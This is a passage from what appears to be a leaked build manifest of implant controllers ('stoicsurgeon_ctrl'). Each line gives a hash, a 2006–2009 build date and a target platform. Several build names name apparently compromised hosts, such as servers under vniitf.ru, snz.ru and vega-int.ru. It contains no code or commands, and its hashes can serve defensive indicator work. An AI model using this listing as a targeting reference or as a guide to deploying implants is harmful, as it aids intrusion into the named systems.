stoicsurgeon_ctrl__v__1.1.16.1_x86-linux-vinifera-npost +E1AED7B01A7B5E856149158E9129757E73E88509 Thu Jan 4 17:00:55 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.17.1_x86-linux-redhat-enterprise-3.0 +2E3CCF17ED8ED52185013D15DB3AAF28984E7EFB Tue Jan 16 17:33:59 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.18.1_x86-linux-mandriva-10.2 +983CFC6E8769183A10E8176427428169E44EC6D8 Fri Jan 19 17:25:30 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.19.1_x86-linux-redhat-7.2 +E87D107B602501772CA8CF26F9DEEA3FB5FD2EE0 Wed Jan 24 20:35:01 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.19.2_x86-linux-2.4-tilttop-comet_emx_ns +0BEF31F39B2A60A86BAD5D63684C38AAC9CF3E75 Wed Oct 18 21:14:06 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.2.1_x86-linux-2.4-tilttop-comet_emx_ns +EFF5BD97EE2139AD4F437A5504F8251701A391D9 Mon Jan 29 19:10:05 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.20.3_sparc-sun-solaris2.9 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.3_x86-linux-fedora4 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.6_x86-linux-redhat-9.0 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.7_x86-linux-centos +9289E3E84E61F6A4C80E6D326FFA39D4ACD4FB04 Fri Feb 23 02:22:26 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.24.1_sparc-sun-solaris2.10 +E1059F3655E8A4CC921DB45C6C1C746E58AF2D67 Fri Feb 23 23:20:34 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.24.3_sparc-sun-solaris2.8 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.2_x86-linux-fedora2 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.3_x86-linux-fedora3 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.4_x86-linux-debian-3.1 +57BA74395C67E5098B065CFC0337C96CB0A573BB Mon Mar 19 19:03:21 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.1_x86-linux-vinifera-mail-npost +C020E876753088DF63B15D7C31BC8B04841957CB Tue Mar 20 00:39:23 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.3_i386-pc-solaris2.9 +00C0A215DC84D715B4127F644DAB351FEE49B66D Tue Mar 20 00:48:29 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.4_sparc-sun-solaris2.9 +7593E9CE36233110DAFACC8CE9F961A24944E2C5 Thu Mar 22 16:34:49 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.5_x86-linux-tilttop-gate.itec +B626B90A64C730CBF26814A2580E954F460AC65C Mon Apr 2 12:12:50 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.7_x86-linux-centos +84F6AEAB8D3018DE6FE7B96EEE64B222CA6DB8E5 Wed Apr 11 19:44:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.29.1_i386-pc-solaris2.8 +BC1A1518E3BB1178E38BAC10D81C76BC320EEAF7 Fri Oct 20 19:34:01 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.3.1_x86-linux-slackware-10.2 +8F3D0E4D97E8883ADB83FEC972ADBFA207A4508A Wed Apr 18 14:25:07 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.32.1_x86-linux-redhat-7.3 +92DC6BE77B8B11F55EF50D45459D5A2C54B5AA59 Tue May 15 13:01:50 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.34.1_x86-linux-tilttop-gamma.ch70.chel.su +375C0D3B043A9FB38B5A197773BE2778E39F85BD Thu Jun 14 15:52:03 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.36.1_x86-linux-tilttop-tormoz.vniitf.ru +CF82EEE69AD86F5C1106A7CEACC7D22D03AA245F Thu Jun 21 19:52:57 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.38.1_sparc-sun-solaris2.8 +8C8CAF5004A3A4421D59358FDA31B7B315957F5A Mon Jun 25 14:30:53 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.39.1_x86-linux-tilttop-ns.snz.ru +D425F996A2E34F093AB64F0C964F88671F8FDB88 Thu Oct 26 20:02:29 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.4.1_x86-linux-fedora4 +FD7F501BE3BD3F2421893A8F91DD3B65F0D26752 Mon Nov 6 21:39:47 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.7.1_x86-linux-vinifera-mail +FFF18195865C94E60B97981D72AA37A54EE31153 Thu Jun 28 14:56:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.1.1_x86-linux-suse-10.0 +1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.1_x86-linux-fedora5 +1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.2_x86-linux-fedora6 +1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.4_x86-linux-redhat-7.3 +470A4B0A8D1CFE7620F872DCD5C586C82C8A78D2 Wed Sep 19 15:56:10 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.12.2_sparc-sun-solaris2.10 +5602BA3EAFA8CAA36B5B2161245C53DE1BAB9FE4 Fri Sep 21 11:25:44 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.12.3_i386-pc-solaris2.10 +F2DD0602EDAD2B5384ADBD74400F8F5E19E19705 Mon Nov 19 17:13:58 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.15.1_x86-freebsd-6.2 +528591EFDEFA610C2CE817860D3E7A2E1C3A8722 Thu Jul 5 15:54:45 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.3.2_sparc-sun-solaris2.10 +D85836B39D21004DE05C2CC24CD3BFAF3AD06C3D Thu Jul 5 17:21:02 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.1_x86-linux-tilttop-ns.snz.ru +8DC609C17F4D998CFFC460515A51DB3133A7909D Fri Jul 6 14:52:13 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.2_x86-linux-fedora3 +E65BDC36FA37647804D80801B6B683C6CCD7A869 Mon Jul 9 16:56:03 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.3_x86-linux-mandriva-2006 +2FDD9A0FC841ABD00554272664C8E702EBDB5207 Thu Jul 19 16:55:04 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.4_x86-linux-asianux-1.0 +90A5CE2C698CE6E08C024D325CAC159AD61A97FF Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.5_x86-linux-redhat-enterprise-3.0 +90A5CE2C698CE6E08C024D325CAC159AD61A97FF Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.6_x86-linux-redhat-enterprise-4.0 +BD80BED98DC9BF073F382131EC99D73DFF0EA667 Wed Aug 8 21:24:36 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.6.2_x86-linux-redhat-enterprise-3.0 +745780EE99C60D22120CBFDC06A25B7DC88CF5E4 Fri Aug 10 23:51:52 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.1_sparc-sun-solaris2.9 +C077C645E48ECA9CAF8D1F6BBA3CC142FE2DE625 Mon Aug 13 17:23:36 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.2_sparc-sun-solaris2.8 +D6998C096D464CB7DD7D3BDF6550D4D55B02FA71 Mon Aug 27 22:01:37 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.3_sparc-sun-solaris2.7 +946BF12D016853CC889C171289F78C1F612AA500 Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.9.1_x86-linux-centos +946BF12D016853CC889C171289F78C1F612AA500 Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.9.2_x86-linux-slackware-10.2 +5951CDE772CBA384F73CFD8DC63165387F559109 Mon Dec 3 16:39:38 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.2.1_x86-linux-guardianwall +F742263D2C2FEE02C8B8F84BA62A15A9B4613A43 Wed Dec 5 18:44:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.3.1_x86-linux-suse-8.2 +1CB2F9074C56829B3E11A21187D42211A5EBA7AA Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.4.2_x86-linux-suse-10.0 +1CB2F9074C56829B3E11A21187D42211A5EBA7AA Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.4.3_x86-linux-tilttop-gate.nto +056388D8375475A3C080FC3934C4AED2638A160C Thu Feb 7 23:57:08 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.0.1_x86-linux-fedora7 +2FAE985B9AC1DB56225B1AFF05EDCED743D1A5A0 Mon Mar 31 17:15:37 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.10_x86-linux-avaya +1CDEFCE06B5B3715FFD8EB7231FEE313F62A957D Mon Mar 31 21:05:06 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.11_x86-freebsd-6.2 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.12_x86-linux-tilttop-comet.vniitf.ru +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.13_x86-linux-debian-3.0 +3339C9B49722B4D10B8B3E66D0AC99016F2E3CD7 Tue Apr 8 19:29:44 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.14_x86-freebsd-5.5 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.1_x86-linux-fedora4 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.2_x86-linux-fedora7 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.3_x86-linux-redhat-7.3 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.4_x86-linux-mandrake-9.2 +4E5A06BB4AD87D4D10D2308BB785DE3447B3D81C Wed Mar 26 13:20:28 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.5_x86-freebsd-6.1 +94166BB0D0B1CE58DD9A93EA42438C575BD8126D Thu Mar 27 15:26:50 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.6_x86-freebsd-5.4 +44A204F30C93B12E1FAB758A23BE84D6173584CB Thu Mar 27 20:46:53 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.7_x86-freebsd-6.0 +9426A77D3061908F1DDBF2E8BF232D41EC309F22 Fri Mar 28 17:35:21 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.8_x86-freebsd-5.3 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.9_x86-linux-centos-5.0 +FD224CA53EAA800E595C5E10405487ED36F18180 Mon May 5 17:04:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.11.1_sparc-sun-solaris2.10 +FD224CA53EAA800E595C5E10405487ED36F18180 Mon May 5 17:04:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.11.2_sparc-sun-solaris2.10 +7AC4554D78FBA44140E68A65DA73A62DCE824FB3 Sat May 17 19:44:50 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.12.1_x86-linux-ubuntu +74B09BD2A3395581BD4941E468A66DE9F4327E36 Thu Jun 26 22:40:27 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.12.2_x86-linux-slackware-10.0 +4FD56AE0FF404111A66EECEE6C3981F26443DC89 Mon Jun 9 13:35:40 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.14.1_i386-pc-solaris2.10 +4BDFB6A22F48479981F6E61260557A1EC68AB690 Fri Jul 25 17:41:45 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.15.14_x86-linux-fedora1 +0063107275B8C990B46BBFA85AB015C020697808 Wed Jul 30 15:40:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.15.1_x86-linux-centos-5.1 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.1_x86-linux-debian-4.0 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.2_x86-linux-tilttop-ns-vega.int.ru +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.4_x86-linux-fedora7 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.5_x86-linux-centos-4.5 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.6_x86-linux-fedora6 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.7_x86-linux-tilttop-ns.snz.ru +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.8_x86-linux-centos-5.2 +C9571E83652F05921BD0E8C4E4A18C131E9C58E6 Thu Sep 18 17:15:20 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.20.1_x86-freebsd-6.1-wickedviper-ns4.ainf.ru +4D3D104C8AC1B2472CAE48C5DB3B212CCB27DBEA Mon Sep 22 17:13:24 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.21.1_x86-linux-centos-wax-5.x +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.10_error_x86_linux_tilttop_gate_nto2.vinitf.ru_1.4.23.10 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.10_x86-linux-tilttop-gate-nto2.vniitf.ru +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.1_x86-linux-debian-4.0 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.2_x86-linux-tilttop-ns-vega.int.ru +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.3_error_x86_linux_centos_5.2_i386_linux +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.3_x86-linux-centos-5.2 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.8_x86-linux-suse-9.3 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.9_x86-linux-tilttop-ns.snz.ru +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.2_error_x86_linux_fedora7_i386_linux +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.2_x86-linux-fedora7 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.3_x86-linux-redhat-7.3 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.4_x86-linux-redhat-8.0 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.5_x86-linux-suse-10.0 +8A4DD530060E297E5E70AF28C75BD34A2E579A40 Thu Dec 18 13:59:41 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.1_sparc-sun-solaris2.9 +2171C3DA8BBA1C1B5D69D6BEA44E8C11F68BDDAE Thu Dec 18 15:55:07 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.2_sparc-sun-solaris2.10 +4FE386DCD5B9B23A9BF2F0F02703396F179DC5FD Thu Dec 18 23:38:58 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.3_sparc-sun-solaris2.8 +FDEE3A07BA0FFECEBF273693EE0EFB63687F1309 Thu Jan 8 22:08:44 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.27.2_x86-linux-ubuntu-7.04 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.1_x86-linux-slackware-9.1 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.2_x86-linux-centos-5.1 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.3_x86-linux-alt-4.0 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.4_x86-linux-crypticsentinel-mailser +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.5_x86-linux-fedora6 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.7_x86-linux-tilttop-redhouse.vega-int.ru +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.8_x86-linux-tilttop-bill.vega-int.ru +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.9_x86-linux-fedora3 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.1_sparc-sun-solaris2.7 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.2_sparc-sun-solaris2.8 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.3_sparc-sun-solaris2.9 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.4_sparc-sun-solaris2.10 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.5_i386-pc-solaris2.8 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.6_i386-pc-solaris2.9 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.7_i386-pc-solaris2.10 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.8_sparc-sun-solaris2.9 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.9_i386-pc-solaris2.9 +F3F1A6296DBA23E5997F0A333B43568E0A5944BD Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.30.1_x86-linux-centos-5.2 +F3F1A6296DBA23E5997F0A333B43568E0A5944BD Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.30.4_x86-linux-centos-4.3 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.1_error_x86_linux_suse_10.3_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.1_x86-linux-suse-10.3 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.2_x86-linux-redhat-enterprise-3.0 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.3_error_x86_linux_fedora5_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.3_x86-linux-fedora5 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.4_error_x86_linux_tilttop_gammach70.chel.su_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.4_x86-linux-tilttop-gamma.ch70.chel.su +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.5_x86-linux-redhat-enterprise-4.0 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.6_x86-linux-vinifera-bs003v01 +C61EB9829C105520B819E20169FA9699078720C8 Wed Feb 25 17:33:11 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.7_x86_64-linux-centos-4.6 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.8_error_x86_linux_debian_4.0_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.1_x86-linux-suse-enterprise-9 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.2_error_x86_linux_ubuntu_8.04_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.2_x86-linux-ubuntu-8.04 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.3_x86-linux-debian-3.1 +3271C4E438AB250F225B5B82ACCEFAB40E31DE2B Mon Mar 9 20:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.4_x86-linux-avaya +B236474561FE3D7684AD29029FB28A85D6916C7D Tue Mar 10 19:43:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.5_x86_64-linux-redhat-enterprise-4.0 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.6_error_x86_linux_slyeagle_ns.multinet.af_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.6_x86-linux-slyeagle-ns.multinet.af +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.7_error_x86_linux_slyeagle_ns_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.7_x86-linux-slyeagle-ns +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.1_x86-linux-suse-10.3 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.2_x86-linux-fedora7 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.3_x86-linux-fedora6 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.4_x86-linux-slackware-12.0 +1C8FDE11F8C73E4A19057604E32B4386CF06D771 Thu Apr 2 16:57:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.1_sparc-sun-solaris2.8 +2767D05B7AF76B9233274E0F8C72AE74D2B41216 Thu Apr 2 18:56:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.2_sparc-sun-solaris2.9 +222DCDA93329D69F9FF7AF4E0B3074C359F26D92 Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.3_sparc-sun-solaris2.10 +222DCDA93329D69F9FF7AF4E0B3074C359F26D92 Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.5_sparc-sun-solaris2.10 +75DDEFCC4268A7712E4140833AC0B3F68E4D784C Thu Apr 30 14:34:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.35.1_error_x86_64_linux_debian_4.0_bin +75DDEFCC4268A7712E4140833AC0B3F68E4D784C Thu Apr 30 14:34:20 2009 [PITCHIMPAIR.12] 